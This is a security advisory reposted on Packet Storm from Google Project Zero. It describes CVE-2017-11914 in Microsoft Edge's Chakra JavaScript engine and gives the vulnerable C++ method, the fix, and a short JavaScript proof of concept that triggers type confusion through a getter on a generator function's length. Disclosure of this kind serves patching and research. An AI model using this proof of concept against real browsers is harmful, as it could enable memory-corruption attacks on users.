Exploit the possiblities

Microsoft Edge Chakra JavascriptGeneratorFunction::GetPropertyBuiltIns Exposure

Microsoft Edge Chakra JavascriptGeneratorFunction::GetPropertyBuiltIns Exposure
Posted Jan 17, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from a JavascriptGeneratorFunction::GetPropertyBuiltIns exposure of scriptFunction.

tags | exploit
advisories | CVE-2017-11914
MD5 | e8df0b0b2e1f9ed2b06276033e5b5645

Microsoft Edge Chakra JavascriptGeneratorFunction::GetPropertyBuiltIns Exposure

Change Mirror Download
Microsoft Edge: Chakra: JavascriptGeneratorFunction::GetPropertyBuiltIns exposes scriptFunction 

CVE-2017-11914


Here's a snippet of the method.
bool JavascriptGeneratorFunction::GetPropertyBuiltIns(Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext, BOOL* result)
{
if (propertyId == PropertyIds::length)
{
...
int len = 0;
Var varLength;
if (scriptFunction->GetProperty(scriptFunction, PropertyIds::length, &varLength, NULL, requestContext))
{
len = JavascriptConversion::ToInt32(varLength, requestContext);
}
...
return true;
}

return false;
}

"JavascriptGeneratorFunction" is like a wrapper class used to ensure the arguments for "scriptFunction". So "scriptFunction" must not be exposed to user JavaScript code. But the vulnerable method exposes "scriptFunction" as "this" when getting the "length" property.

The code should be like: "scriptFunction->GetProperty(this, PropertyIds::length, &varLength, NULL, requestContext);"

Type confusion PoC:
function* f() {
}

let g;
f.__defineGetter__('length', function () {
g = this; // g == "scriptFunction"
});


f.length;

g.call(0x1234, 0x5678); // type confusion


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

February 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    15 Files
  • 2
    Feb 2nd
    15 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    13 Files
  • 5
    Feb 5th
    16 Files
  • 6
    Feb 6th
    15 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    15 Files
  • 9
    Feb 9th
    18 Files
  • 10
    Feb 10th
    8 Files
  • 11
    Feb 11th
    8 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    15 Files
  • 14
    Feb 14th
    15 Files
  • 15
    Feb 15th
    17 Files
  • 16
    Feb 16th
    18 Files
  • 17
    Feb 17th
    37 Files
  • 18
    Feb 18th
    2 Files
  • 19
    Feb 19th
    16 Files
  • 20
    Feb 20th
    16 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    16 Files
  • 23
    Feb 23rd
    31 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close